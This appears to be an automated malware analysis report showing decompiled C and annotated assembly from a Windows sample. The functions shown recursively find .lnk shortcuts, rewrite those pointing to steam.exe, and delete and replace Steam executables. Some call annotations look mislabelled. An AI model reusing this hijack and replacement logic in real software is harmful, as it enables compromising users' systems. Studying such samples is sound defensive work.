14000725640 0f 95 c5SETNZ BPL
14000725a8b c5MOV EAX,EBP
14000725ceb bbJMP LAB_140007219
LAB_14000725e:
14000725e33 c0XOR EAX,EAX
140007260eb c7JMP LAB_140007229
LAB_140007262:
140007262e8 f1 17 00 00CALL FUN_140008a58; FUN_140008a58: IsProcessorFeaturePresent
140007267ccINT3

hijacks shortcut files via IShellLink…

0x140007270665 bytes
undefined FUN_140007270(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

hijacks shortcut files via IShellLink COM: loads .lnk, compares target filename, replaces target path, arguments and icon

Cited as
E18
Behaviours
B12
Called from
FUN_140007520, FUN_140007950
Calls
CoCreateInstance PathFindFileNameW FUN_140007150, __security_check_cookie, FID_conflict:_wcsicoll, FUN_14001db40
Decompiled C · 86 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007270(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  bool bVar1;
  bool bVar2;
  HRESULT HVar3;
  int iVar4;
  LPWSTR _Str1;
  LPWSTR pWVar5;
  undefined1 auStackY_708 [32];
  longlong *local_6d8;
  longlong *local_6d0;
  undefined4 local_6c8 [4];
  undefined1 local_6b8 [592];
  WCHAR local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_708;
  _Str1 = (wchar_t *)0x0;
  bVar2 = false;
  local_6d8 = (longlong *)0x0;
  local_6d0 = (longlong *)0x0;
  local_6c8[0] = 0;
  HVar3 = CoCreateInstance((IID *)&DAT_140020348,(LPUNKNOWN)0x0,1,(IID *)&DAT_14002a4e0,&local_6d8);
  if (HVar3 < 0) {
  }
  iVar4 = (**(code **)*local_6d8)(local_6d8,&DAT_140020328,&local_6d0);
  if (iVar4 < 0) goto LAB_1400074ef;
  iVar4 = (**(code **)(*local_6d0 + 0x28))(local_6d0,param_1,0);
  if (-1 < iVar4) {
    FUN_14001db40((undefined1 (*) [32])local_6b8,0,0x250);
    local_468[0] = L'\0';
    local_258[0] = L'\0';
    (**(code **)(*local_6d8 + 0x18))(local_6d8,local_468,0x104,local_6b8);
    if (local_468[0] == L'\0') {
      (**(code **)(*local_6d8 + 0x18))(local_6d8,local_468,0x104,local_6b8);
    }
    (**(code **)(*local_6d8 + 0x80))(local_6d8,local_258,0x104,local_6c8);
    if (local_468[0] != L'\0') {
      _Str1 = PathFindFileNameW(local_468);
    }
    if (local_468[0] == L'\0') {
LAB_140007413:
      if (local_258[0] != L'\0') {
        pWVar5 = PathFindFileNameW(local_258);
        if ((pWVar5 != (LPWSTR)0x0) &&
           (iVar4 = FID_conflict__wcsicoll(pWVar5,L"steam.exe"), iVar4 == 0)) {
          bVar2 = true;
        }
        if (bVar2) goto LAB_140007495;
      }
      if ((((_Str1 == (wchar_t *)0x0) ||
           ((iVar4 = FID_conflict__wcsicoll(_Str1,L"steam.exe.old"), iVar4 != 0 &&
            (iVar4 = FID_conflict__wcsicoll(_Str1,L"steam.exe.new"), iVar4 != 0)))) &&
          (iVar4 = FUN_140007150(local_468), iVar4 == 0)) &&
         (iVar4 = FUN_140007150(local_258), iVar4 == 0)) goto LAB_1400074e4;
    }
    else {
      pWVar5 = PathFindFileNameW(local_468);
      if (pWVar5 == (LPWSTR)0x0) {
LAB_140007409:
        bVar1 = false;
      }
      else {
        iVar4 = FID_conflict__wcsicoll(pWVar5,L"steam.exe");
        bVar1 = true;
        if (iVar4 != 0) goto LAB_140007409;
      }
      if (!bVar1) goto LAB_140007413;
    }
LAB_140007495:
    (**(code **)(*local_6d8 + 0xa0))(local_6d8,param_2);
    (**(code **)(*local_6d8 + 0x48))(local_6d8,param_3);
    (**(code **)(*local_6d8 + 0x88))(local_6d8,param_4,0);
    (**(code **)(*local_6d0 + 0x30))(local_6d0,param_1,1);
  }
LAB_1400074e4:
  (**(code **)(*local_6d0 + 0x10))();
LAB_1400074ef:
  (**(code **)(*local_6d8 + 0x10))();
}

Assembly · 157 instructions, 6 annotated
AddressBytesInstructionComment
14000727040 55PUSH RBP
14000727253PUSH RBX
14000727356PUSH RSI
14000727441 54PUSH R12
14000727641 56PUSH R14
14000727841 57PUSH R15
14000727a48 8d ac 24 28 fa ff ffLEA RBP,[RSP + -0x5d8]
14000728248 81 ec d8 06 00 00SUB RSP,0x6d8
14000728948 8b 05 b0 6d 02 00MOV RAX,qword ptr [DAT_14002e040]
14000729048 33 c4XOR RAX,RSP
14000729348 89 85 c0 05 00 00MOV qword ptr [RBP + local_48],RAX
14000729a33 dbXOR EBX,EBX
14000729c48 8d 44 24 30LEA RAX,[RSP + 0x30]
1400072a14d 8b e1MOV R12,R9
1400072a448 89 5c 24 30MOV qword ptr [RSP + local_6d8],RBX
1400072a94d 8b f8MOV R15,R8
1400072ac48 89 5c 24 38MOV qword ptr [RSP + local_6d0],RBX
1400072b14c 8b f2MOV R14,RDX
1400072b489 5c 24 40MOV dword ptr [RSP + local_6c8],EBX
1400072b848 8b f1MOV RSI,RCX
1400072bb48 89 44 24 20MOV qword ptr [RSP + local_6e8],RAX
1400072c04c 8d 0d 19 32 02 00LEA R9,[DAT_14002a4e0]
1400072c733 d2XOR EDX,EDX
1400072c941 b8 01 00 00 00MOV R8D,0x1
1400072cf48 8d 0d 72 90 01 00LEA RCX,[DAT_140020348]
1400072d6ff 15 1c 82 01 00CALL qword ptr [PTR_CoCreateInstance_14001f4f8]
1400072dc85 c0TEST EAX,EAX
1400072de0f 88 16 02 00 00JS LAB_1400074fa
1400072e448 8b 4c 24 30MOV RCX,qword ptr [RSP + local_6d8]
1400072e94c 8d 44 24 38LEA R8,[RSP + 0x38]
1400072ee48 8d 15 33 90 01 00LEA RDX,[DAT_140020328]
1400072f548 8b 01MOV RAX,qword ptr [RCX]
1400072f8ff 10CALL qword ptr [RAX]
1400072fa85 c0TEST EAX,EAX
1400072fc0f 88 ed 01 00 00JS LAB_1400074ef
14000730248 8b 4c 24 38MOV RCX,qword ptr [RSP + local_6d0]
14000730745 33 c0XOR R8D,R8D
14000730a48 8b d6MOV RDX,RSI
14000730d48 8b 01MOV RAX,qword ptr [RCX]
140007310ff 50 28CALL qword ptr [RAX + 0x28]
14000731385 c0TEST EAX,EAX
1400073150f 88 c9 01 00 00JS LAB_1400074e4
14000731b33 d2XOR EDX,EDX
14000731d48 8d 4c 24 50LEA RCX,[RSP + 0x50]
14000732241 b8 50 02 00 00MOV R8D,0x250
140007328e8 13 68 01 00CALL FUN_14001db40
14000732d48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_6d8]
1400073324c 8d 4c 24 50LEA R9,[RSP + 0x50]
14000733766 89 9d a0 01 00 00MOV word ptr [RBP + local_468],BX
14000733e48 8d 95 a0 01 00 00LEA RDX,[RBP + 0x1a0]
14000734566 89 9d b0 03 00 00MOV word ptr [RBP + local_258],BX
14000734c41 b8 04 01 00 00MOV R8D,0x104
140007352c7 44 24 20 04 00 00 00MOV dword ptr [RSP + local_6e8],0x4
14000735a48 8b 01MOV RAX,qword ptr [RCX]
14000735dff 50 18CALL qword ptr [RAX + 0x18]
14000736066 39 9d a0 01 00 00CMP word ptr [RBP + local_468],BX
14000736775 21JNZ LAB_14000738a
14000736948 8b 4c 24 30MOV RCX,qword ptr [RSP + local_6d8]
14000736e4c 8d 4c 24 50LEA R9,[RSP + 0x50]
14000737341 b8 04 01 00 00MOV R8D,0x104
14000737989 5c 24 20MOV dword ptr [RSP + local_6e8],EBX
14000737d48 8d 95 a0 01 00 00LEA RDX,[RBP + 0x1a0]
14000738448 8b 01MOV RAX,qword ptr [RCX]
140007387ff 50 18CALL qword ptr [RAX + 0x18]
LAB_14000738a:
14000738a48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_6d8]
14000738f4c 8d 4c 24 40LEA R9,[RSP + 0x40]
14000739441 b8 04 01 00 00MOV R8D,0x104
LAB_14000739a:
14000739a48 89 bc 24 d0 06 00 00MOV qword ptr [RSP + local_38],RDI
1400073a248 8d 95 b0 03 00 00LEA RDX,[RBP + 0x3b0]
1400073a948 8b 01MOV RAX,qword ptr [RCX]
1400073acff 90 80 00 00 00CALL qword ptr [RAX + 0x80]
1400073b20f b7 85 a0 01 00 00MOVZX EAX,word ptr [RBP + local_468]
1400073b966 85 c0TEST AX,AX
1400073bc74 19JZ LAB_1400073d7
1400073be48 8d 8d a0 01 00 00LEA RCX,[RBP + 0x1a0]
1400073c5ff 15 45 80 01 00CALL qword ptr [PTR_PathFindFileNameW_14001f410]
1400073cb48 8b f8MOV RDI,RAX
1400073ce0f b7 85 a0 01 00 00MOVZX EAX,word ptr [RBP + local_468]
1400073d5eb 03JMP LAB_1400073da
LAB_1400073d7:
1400073d748 8b fbMOV RDI,RBX
LAB_1400073da:
1400073da66 85 c0TEST AX,AX
1400073dd74 34JZ LAB_140007413
1400073df48 8d 8d a0 01 00 00LEA RCX,[RBP + 0x1a0]
1400073e6ff 15 24 80 01 00CALL qword ptr [PTR_PathFindFileNameW_14001f410]
1400073ec48 85 c0TEST RAX,RAX
1400073ef74 18JZ LAB_140007409
1400073f148 8d 15 20 26 02 00LEA RDX,[u_steam.exe_140029a18]; "steam.exe"
1400073f848 8b c8MOV RCX,RAX
1400073fbe8 4c 9c 00 00CALL FID_conflict:_wcsicoll
14000740085 c0TEST EAX,EAX
140007402b8 01 00 00 00MOV EAX,0x1
14000740774 02JZ LAB_14000740b
LAB_140007409:
1400074098b c3MOV EAX,EBX
LAB_14000740b:
14000740b85 c0TEST EAX,EAX
14000740d0f 85 82 00 00 00JNZ LAB_140007495
LAB_140007413:
14000741366 39 9d b0 03 00 00CMP word ptr [RBP + local_258],BX
14000741a74 2eJZ LAB_14000744a
14000741c48 8d 8d b0 03 00 00LEA RCX,[RBP + 0x3b0]
140007423ff 15 e7 7f 01 00CALL qword ptr [PTR_PathFindFileNameW_14001f410]
14000742948 85 c0TEST RAX,RAX
14000742c74 18JZ LAB_140007446
14000742e48 8d 15 e3 25 02 00LEA RDX,[u_steam.exe_140029a18]; "steam.exe"
14000743548 8b c8MOV RCX,RAX
140007438e8 0f 9c 00 00CALL FID_conflict:_wcsicoll
14000743d85 c0TEST EAX,EAX
14000743f75 05JNZ LAB_140007446
140007441bb 01 00 00 00MOV EBX,0x1
LAB_140007446:
14000744685 dbTEST EBX,EBX
14000744875 4bJNZ LAB_140007495
LAB_14000744a:
14000744a48 85 ffTEST RDI,RDI
14000744d74 26JZ LAB_140007475
14000744f48 8d 15 42 2b 02 00LEA RDX,[u_steam.exe.old_140029f98]; "steam.exe.old"
14000745648 8b cfMOV RCX,RDI
140007459e8 ee 9b 00 00CALL FID_conflict:_wcsicoll
14000745e85 c0TEST EAX,EAX
14000746074 33JZ LAB_140007495
14000746248 8d 15 4f 2b 02 00LEA RDX,[u_steam.exe.new_140029fb8]; "steam.exe.new"
14000746948 8b cfMOV RCX,RDI
14000746ce8 db 9b 00 00CALL FID_conflict:_wcsicoll
14000747185 c0TEST EAX,EAX
14000747374 20JZ LAB_140007495
LAB_140007475:
14000747548 8d 8d a0 01 00 00LEA RCX,[RBP + 0x1a0]
14000747ce8 cf fc ff ffCALL FUN_140007150; FUN_140007150: IsProcessorFeaturePresent
14000748185 c0TEST EAX,EAX
14000748375 10JNZ LAB_140007495
14000748548 8d 8d b0 03 00 00LEA RCX,[RBP + 0x3b0]
14000748ce8 bf fc ff ffCALL FUN_140007150; FUN_140007150: IsProcessorFeaturePresent
14000749185 c0TEST EAX,EAX
14000749374 47JZ LAB_1400074dc
LAB_140007495:
14000749548 8b 4c 24 30MOV RCX,qword ptr [RSP + local_6d8]
14000749a49 8b d6MOV RDX,R14
14000749d48 8b 01MOV RAX,qword ptr [RCX]
1400074a0ff 90 a0 00 00 00CALL qword ptr [RAX + 0xa0]
1400074a648 8b 4c 24 30MOV RCX,qword ptr [RSP + local_6d8]
1400074ab49 8b d7MOV RDX,R15
1400074ae48 8b 01MOV RAX,qword ptr [RCX]
1400074b1ff 50 48CALL qword ptr [RAX + 0x48]
1400074b448 8b 4c 24 30MOV RCX,qword ptr [RSP + local_6d8]
1400074b945 33 c0XOR R8D,R8D
1400074bc49 8b d4MOV RDX,R12
1400074bf48 8b 01MOV RAX,qword ptr [RCX]
1400074c2ff 90 88 00 00 00CALL qword ptr [RAX + 0x88]
1400074c848 8b 4c 24 38MOV RCX,qword ptr [RSP + local_6d0]
1400074cd41 b8 01 00 00 00MOV R8D,0x1
1400074d348 8b d6MOV RDX,RSI
1400074d648 8b 01MOV RAX,qword ptr [RCX]
1400074d9ff 50 30CALL qword ptr [RAX + 0x30]
LAB_1400074dc:
1400074dc48 8b bc 24 d0 06 00 00MOV RDI,qword ptr [RSP + local_38]
LAB_1400074e4:
1400074e448 8b 4c 24 38MOV RCX,qword ptr [RSP + local_6d0]
1400074e948 8b 01MOV RAX,qword ptr [RCX]
1400074ecff 50 10CALL qword ptr [RAX + 0x10]
LAB_1400074ef:
1400074ef48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_6d8]
1400074f448 8b 01MOV RAX,qword ptr [RCX]
1400074f7ff 50 10CALL qword ptr [RAX + 0x10]
LAB_1400074fa:
1400074fa48 8b 8d c0 05 00 00MOV RCX,qword ptr [RBP + local_48]
14000750148 33 ccXOR RCX,RSP
140007504e8 27 14 00 00CALL __security_check_cookie

recursively searches directories to…

0x140007520333 bytes
undefined FUN_140007520(short * param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4, int param_5)

recursively searches directories to depth 9 for files matching a wildcard

Cited as
E7
Behaviours
B6
Called from
FUN_140007520, FUN_140007950
Calls
PathMatchSpecW FindFirstFileW FindNextFileW FindClose FUN_140003f60, FUN_140007270, FUN_140007520, __security_check_cookie
Decompiled C · 40 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007520(short *param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,
                  int param_5)

{
  BOOL BVar1;
  HANDLE hFindFile;
  undefined1 auStackY_6e8 [32];
  _WIN32_FIND_DATAW local_6b8;
  short local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_6e8;
  if (((param_5 < 9) && (param_1 != (short *)0x0)) && (*param_1 != 0)) {
    FUN_140003f60(local_258,0x104,0x140029fd8,param_1);
    hFindFile = FindFirstFileW(local_258,&local_6b8);
    if (hFindFile != (HANDLE)0xffffffffffffffff) {
      do {
        if (local_6b8.cFileName[0] != L'.') {
          FUN_140003f60(local_468,0x104,0x140029fe8,param_1);
          if (((byte)local_6b8.dwFileAttributes & 0x10) == 0) {
            BVar1 = PathMatchSpecW(local_6b8.cFileName,L"*.lnk");
            if (BVar1 != 0) {
              FUN_140007270(local_468,param_2,param_3,param_4);
            }
          }
          else {
            FUN_140007520(local_468,param_2,param_3,param_4,param_5 + 1);
          }
        }
        BVar1 = FindNextFileW(hFindFile,&local_6b8);
      } while (BVar1 != 0);
      FindClose(hFindFile);
    }
  }
}

Assembly · 72 instructions, 6 annotated
AddressBytesInstructionComment
14000752040 53PUSH RBX
14000752255PUSH RBP
14000752356PUSH RSI
14000752457PUSH RDI
14000752541 57PUSH R15
14000752748 81 ec c0 06 00 00SUB RSP,0x6c0
14000752e48 8b 05 0b 6b 02 00MOV RAX,qword ptr [DAT_14002e040]
14000753548 33 c4XOR RAX,RSP
14000753848 89 84 24 a0 06 00 00MOV qword ptr [RSP + local_48],RAX
14000754044 8b bc 24 10 07 00 00MOV R15D,dword ptr [RSP + param_5]
14000754849 8b e9MOV RBP,R9
14000754b49 8b f0MOV RSI,R8
14000754e48 8b faMOV RDI,RDX
14000755148 8b d9MOV RBX,RCX
14000755441 83 ff 08CMP R15D,0x8
1400075580f 8f ff 00 00 00JG LAB_14000765d
14000755e48 85 c9TEST RCX,RCX
1400075610f 84 f6 00 00 00JZ LAB_14000765d
14000756766 83 39 00CMP word ptr [RCX],0x0
14000756b0f 84 ec 00 00 00JZ LAB_14000765d
1400075714c 8b c9MOV R9,RCX
LAB_140007574:
1400075744c 89 b4 24 b8 06 00 00MOV qword ptr [RSP + local_30],R14
14000757c48 8d 8c 24 90 04 00 00LEA RCX,[RSP + 0x490]
140007584ba 04 01 00 00MOV EDX,0x104
1400075894c 8d 05 48 2a 02 00LEA R8,[u_%s\*_140029fd8]; "%s\\*"
140007590e8 cb c9 ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
14000759548 8d 54 24 30LEA RDX,[RSP + 0x30]
14000759a48 8d 8c 24 90 04 00 00LEA RCX,[RSP + 0x490]
1400075a2ff 15 18 7c 01 00CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
1400075a84c 8b f0MOV R14,RAX
1400075ab48 83 f8 ffCMP RAX,-0x1
1400075af0f 84 a0 00 00 00JZ LAB_140007655
LAB_1400075b5:
1400075b566 83 7c 24 5c 2eCMP word ptr [RSP + local_68c],0x2e
1400075bb74 79JZ LAB_140007636
1400075bd48 8d 44 24 5cLEA RAX,[RSP + 0x5c]
1400075c24c 8b cbMOV R9,RBX
1400075c54c 8d 05 1c 2a 02 00LEA R8,[u_%s\%s_140029fe8]; "%s\\%s"
1400075cc48 89 44 24 20MOV qword ptr [RSP + local_6c8],RAX
1400075d1ba 04 01 00 00MOV EDX,0x104
1400075d648 8d 8c 24 80 02 00 00LEA RCX,[RSP + 0x280]
1400075dee8 7d c9 ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
1400075e3f6 44 24 30 10TEST byte ptr [RSP + local_6b8],0x10
1400075e874 20JZ LAB_14000760a
1400075ea41 8d 47 01LEA EAX,[R15 + 0x1]
1400075ee4c 8b cdMOV R9,RBP
1400075f14c 8b c6MOV R8,RSI
1400075f489 44 24 20MOV dword ptr [RSP + local_6c8],EAX
1400075f848 8b d7MOV RDX,RDI
1400075fb48 8d 8c 24 80 02 00 00LEA RCX,[RSP + 0x280]
140007603e8 18 ff ff ffCALL FUN_140007520
140007608eb 2cJMP LAB_140007636
LAB_14000760a:
14000760a48 8d 15 e7 29 02 00LEA RDX,[u_*.lnk_140029ff8]; "*.lnk"
14000761148 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
140007616ff 15 d4 7d 01 00CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
14000761c85 c0TEST EAX,EAX
14000761e74 16JZ LAB_140007636
1400076204c 8b cdMOV R9,RBP
14000762348 8d 8c 24 80 02 00 00LEA RCX,[RSP + 0x280]
14000762b4c 8b c6MOV R8,RSI
14000762e48 8b d7MOV RDX,RDI
140007631e8 3a fc ff ffCALL FUN_140007270; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_140007636:
14000763648 8d 54 24 30LEA RDX,[RSP + 0x30]
14000763b49 8b ceMOV RCX,R14
14000763eff 15 8c 7b 01 00CALL qword ptr [PTR_FindNextFileW_14001f1d0]
14000764485 c0TEST EAX,EAX
1400076460f 85 69 ff ff ffJNZ LAB_1400075b5
14000764c49 8b ceMOV RCX,R14
14000764fff 15 ab 7b 01 00CALL qword ptr [PTR_FindClose_14001f200]
LAB_140007655:
1400076554c 8b b4 24 b8 06 00 00MOV R14,qword ptr [RSP + local_30]
LAB_14000765d:
14000765d48 8b 8c 24 a0 06 00 00MOV RCX,qword ptr [RSP + local_48]
14000766548 33 ccXOR RCX,RSP
140007668e8 c3 12 00 00CALL __security_check_cookie

replaces files using dynamically…

0x140007680702 bytes
undefined FUN_140007680(LPCWSTR param_1, LPCWSTR param_2, undefined8 param_3)

replaces files using dynamically resolved CopyFileW and MoveFileW with cleanup

Cited as
E10
Behaviours
B8
Called from
FUN_140007950
Calls
GetFileAttributesW SetFileAttributesW DeleteFileW FUN_140003f60, FUN_140005d10, FUN_140005df0, FUN_1400068c0, __security_check_cookie
Decompiled C · 79 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007680(LPCWSTR param_1,LPCWSTR param_2,undefined8 param_3)

{
  DWORD DVar1;
  int iVar2;
  DWORD DVar3;
  BOOL BVar4;
  undefined8 uVar5;
  longlong lVar6;
  undefined1 auStack_6b8 [32];
  wchar_t *local_698;
  wchar_t *local_688 [4];
  WCHAR local_668 [264];
  WCHAR local_458 [264];
  WCHAR local_248 [264];
  ulonglong local_38;
  
  local_38 = DAT_14002e040 ^ (ulonglong)auStack_6b8;
  if ((((param_2 != (LPCWSTR)0x0) && (*param_2 != L'\0')) &&
      (uVar5 = param_3, DVar1 = GetFileAttributesW(param_2), DVar1 != 0xffffffff)) &&
     (iVar2 = FUN_140005d10(param_1,param_2,(DWORD)uVar5), iVar2 != 0)) {
  }
  if (DAT_14002ffb8 == 0) {
  }
  if (DAT_14002ffc0 != (code *)0x0) {
    local_688[0] = L"steam.orig.exe";
    lVar6 = 0;
    local_688[1] = L"steam.live.exe";
    local_688[2] = L"steam.exe.new";
    do {
      local_698 = local_688[lVar6];
      FUN_140003f60(local_458,0x104,0x140029fe8,param_3);
      if ((local_458[0] != L'\0') && (DVar1 = GetFileAttributesW(local_458), DVar1 != 0xffffffff)) {
        SetFileAttributesW(local_458,0x80);
        DeleteFileW(local_458);
      }
      lVar6 = lVar6 + 1;
    } while (lVar6 < 3);
    DVar1 = 0x4002a210;
    FUN_140003f60(local_248,0x104,0x14002a210,param_3);
    SetFileAttributesW(local_248,0x80);
    DeleteFileW(local_248);
    if (((param_2 != (LPCWSTR)0x0) && (*param_2 != L'\0')) &&
       ((DVar3 = GetFileAttributesW(param_2), DVar3 != 0xffffffff &&
        (iVar2 = FUN_140005d10(param_1,param_2,DVar1), iVar2 == 0)))) {
      SetFileAttributesW(param_2,0x80);
      BVar4 = DeleteFileW(param_2);
      if (BVar4 == 0) {
        (*DAT_14002ffc0)(param_2,local_248);
        DeleteFileW(local_248);
      }
    }
    iVar2 = FUN_140005df0(param_1,param_2);
    if ((iVar2 == 0) && (uVar5 = FUN_1400068c0(param_1,param_2), (int)uVar5 == 0)) {
      DVar1 = 0x4002a238;
      FUN_140003f60(local_668,0x104,0x14002a238,param_3);
      SetFileAttributesW(local_668,0x80);
      DeleteFileW(local_668);
      uVar5 = FUN_1400068c0(param_1,local_668);
      if ((int)uVar5 == 0) {
      }
      SetFileAttributesW(param_2,0x80);
      DeleteFileW(param_2);
      iVar2 = (*DAT_14002ffc0)(local_668,param_2);
      if ((iVar2 == 0) && (uVar5 = FUN_1400068c0(param_1,param_2), (int)uVar5 == 0)) {
        DeleteFileW(local_668);
      }
      DeleteFileW(local_668);
    }
    if (((param_2 != (LPCWSTR)0x0) && (*param_2 != L'\0')) &&
       (DVar3 = GetFileAttributesW(param_2), DVar3 != 0xffffffff)) {
      FUN_140005d10(param_1,param_2,DVar1);
    }
  }
}

Assembly · 161 instructions, 20 annotated
AddressBytesInstructionComment
14000768040 53PUSH RBX
14000768255PUSH RBP
14000768356PUSH RSI
14000768441 56PUSH R14
14000768648 81 ec 98 06 00 00SUB RSP,0x698
14000768d48 8b 05 ac 69 02 00MOV RAX,qword ptr [DAT_14002e040]
14000769448 33 c4XOR RAX,RSP
14000769748 89 84 24 80 06 00 00MOV qword ptr [RSP + local_38],RAX
14000769f4d 8b f0MOV R14,R8
1400076a248 8b daMOV RBX,RDX
1400076a548 8b e9MOV RBP,RCX
1400076a848 85 d2TEST RDX,RDX
1400076ab74 2dJZ LAB_1400076da
1400076ad66 83 3a 00CMP word ptr [RDX],0x0
1400076b174 27JZ LAB_1400076da
1400076b348 8b caMOV RCX,RDX
1400076b6ff 15 5c 7b 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
1400076bc83 f8 ffCMP EAX,-0x1
1400076bf74 19JZ LAB_1400076da
1400076c148 8b d3MOV RDX,RBX
1400076c448 8b cdMOV RCX,RBP
1400076c7e8 44 e6 ff ffCALL FUN_140005d10; FUN_140005d10: GetFileAttributesExW, CreateFileW, ReadFile, CloseHandle
1400076cc85 c0TEST EAX,EAX
1400076ce74 0aJZ LAB_1400076da
1400076d0b8 01 00 00 00MOV EAX,0x1
1400076d5e9 19 02 00 00JMP LAB_1400078f3
LAB_1400076da:
1400076da48 83 3d d6 88 02 00 00CMP qword ptr [DAT_14002ffb8],0x0
1400076e20f 84 09 02 00 00JZ LAB_1400078f1
1400076e848 83 3d d0 88 02 00 00CMP qword ptr [DAT_14002ffc0],0x0
1400076f00f 84 fb 01 00 00JZ LAB_1400078f1
1400076f648 8d 05 fb 24 02 00LEA RAX,[u_steam.orig.exe_140029bf8]; "steam.orig.exe"
LAB_1400076fd:
1400076fd48 89 bc 24 90 06 00 00MOV qword ptr [RSP + local_28],RDI
14000770548 89 44 24 30MOV qword ptr [RSP + local_688],RAX; "steam.orig.exe"
14000770a33 f6XOR ESI,ESI
14000770c48 8d 05 05 25 02 00LEA RAX,[u_steam.live.exe_140029c18]; "steam.live.exe"
1400077138b feMOV EDI,ESI
14000771548 89 44 24 38MOV qword ptr [RSP + local_680],RAX; "steam.live.exe"
14000771a48 8d 05 97 28 02 00LEA RAX,[u_steam.exe.new_140029fb8]; "steam.exe.new"
14000772148 89 44 24 40MOV qword ptr [RSP + local_678],RAX; "steam.exe.new"
14000772666 66 0f 1f 84 00 00 00 …NOP dword ptr [RAX + RAX*0x1]
LAB_140007730:
14000773048 8b 44 fc 30MOV RAX,qword ptr [RSP + RDI*0x8 + local_680]
1400077354c 8d 05 ac 28 02 00LEA R8,[u_%s\%s_140029fe8]; "%s\\%s"
14000773c4d 8b ceMOV R9,R14
14000773f48 89 44 24 20MOV qword ptr [RSP + local_698],RAX; "steam.orig.exe"
140007744ba 04 01 00 00MOV EDX,0x104
14000774948 8d 8c 24 60 02 00 00LEA RCX,[RSP + 0x260]
140007751e8 0a c8 ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
14000775666 39 b4 24 60 02 00 00CMP word ptr [RSP + local_458],SI
14000775e74 34JZ LAB_140007794
14000776048 8d 8c 24 60 02 00 00LEA RCX,[RSP + 0x260]
140007768ff 15 aa 7a 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
14000776e83 f8 ffCMP EAX,-0x1
14000777174 21JZ LAB_140007794
140007773ba 80 00 00 00MOV EDX,0x80
14000777848 8d 8c 24 60 02 00 00LEA RCX,[RSP + 0x260]
140007780ff 15 9a 7a 01 00CALL qword ptr [PTR_SetFileAttributesW_14001f220]
14000778648 8d 8c 24 60 02 00 00LEA RCX,[RSP + 0x260]
14000778eff 15 c4 7a 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_140007794:
14000779448 ff c7INC RDI
14000779748 83 ff 03CMP RDI,0x3
14000779b7c 93JL LAB_140007730
14000779d48 8b bc 24 90 06 00 00MOV RDI,qword ptr [RSP + local_28]
1400077a54c 8d 05 64 2a 02 00LEA R8,[u_%s\steam.exe.old_14002a210]; "%s\\steam.exe.old"
1400077ac4d 8b ceMOV R9,R14
1400077af48 8d 8c 24 70 04 00 00LEA RCX,[RSP + 0x470]
1400077b7ba 04 01 00 00MOV EDX,0x104
1400077bce8 9f c7 ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
1400077c1ba 80 00 00 00MOV EDX,0x80
1400077c648 8d 8c 24 70 04 00 00LEA RCX,[RSP + 0x470]
1400077ceff 15 4c 7a 01 00CALL qword ptr [PTR_SetFileAttributesW_14001f220]
1400077d448 8d 8c 24 70 04 00 00LEA RCX,[RSP + 0x470]
1400077dcff 15 76 7a 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
1400077e248 85 dbTEST RBX,RBX
1400077e574 5cJZ LAB_140007843
LAB_1400077e7:
1400077e766 39 33CMP word ptr [RBX],SI
1400077ea74 57JZ LAB_140007843
1400077ec48 8b cbMOV RCX,RBX
1400077efff 15 23 7a 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
1400077f583 f8 ffCMP EAX,-0x1
1400077f874 49JZ LAB_140007843
1400077fa48 8b d3MOV RDX,RBX
1400077fd48 8b cdMOV RCX,RBP
140007800e8 0b e5 ff ffCALL FUN_140005d10; FUN_140005d10: GetFileAttributesExW, CreateFileW, ReadFile, CloseHandle
14000780585 c0TEST EAX,EAX
14000780775 3aJNZ LAB_140007843
140007809ba 80 00 00 00MOV EDX,0x80
14000780e48 8b cbMOV RCX,RBX
140007811ff 15 09 7a 01 00CALL qword ptr [PTR_SetFileAttributesW_14001f220]
14000781748 8b cbMOV RCX,RBX
14000781aff 15 38 7a 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
14000782085 c0TEST EAX,EAX
14000782275 1fJNZ LAB_140007843
14000782448 8d 94 24 70 04 00 00LEA RDX,[RSP + 0x470]
14000782c48 8b cbMOV RCX,RBX
14000782fff 15 8b 87 02 00CALL qword ptr [DAT_14002ffc0]
14000783548 8d 8c 24 70 04 00 00LEA RCX,[RSP + 0x470]
14000783dff 15 15 7a 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_140007843:
14000784348 8b d3MOV RDX,RBX
14000784648 8b cdMOV RCX,RBP
140007849e8 a2 e5 ff ffCALL FUN_140005df0; FUN_140005df0: GetFullPathNameW
14000784e85 c0TEST EAX,EAX
1400078500f 85 c5 00 00 00JNZ LAB_14000791b
14000785648 8b d3MOV RDX,RBX
14000785948 8b cdMOV RCX,RBP
14000785ce8 5f f0 ff ffCALL FUN_1400068c0; FUN_1400068c0: GetCurrentProcessId, GetTickCount, Sleep
14000786185 c0TEST EAX,EAX
1400078630f 85 b2 00 00 00JNZ LAB_14000791b
1400078694d 8b ceMOV R9,R14
14000786c4c 8d 05 c5 29 02 00LEA R8,[u_%s\steam.exe.new_14002a238]; "%s\\steam.exe.new"
